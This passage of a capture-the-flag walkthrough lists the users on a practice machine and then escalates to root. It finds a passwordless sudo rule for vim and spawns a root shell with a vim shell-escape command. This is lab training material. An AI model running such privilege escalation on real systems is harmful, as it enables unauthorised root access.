G00d j0b, keep up!

#8 Is there any other user in the home directory? What’s its name?

$ cd /home
$ ls
mitch  sunbath

#9 What can you leverage to spawn a privileged shell?

$ sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

We can use vim to be root so let’s find something

$ sudo vim -c ":!/bin/sh"

$ id
uid=0(root) gid=0(root) groups=0(root)

#10 What’s the root flag?

$ cd /root/
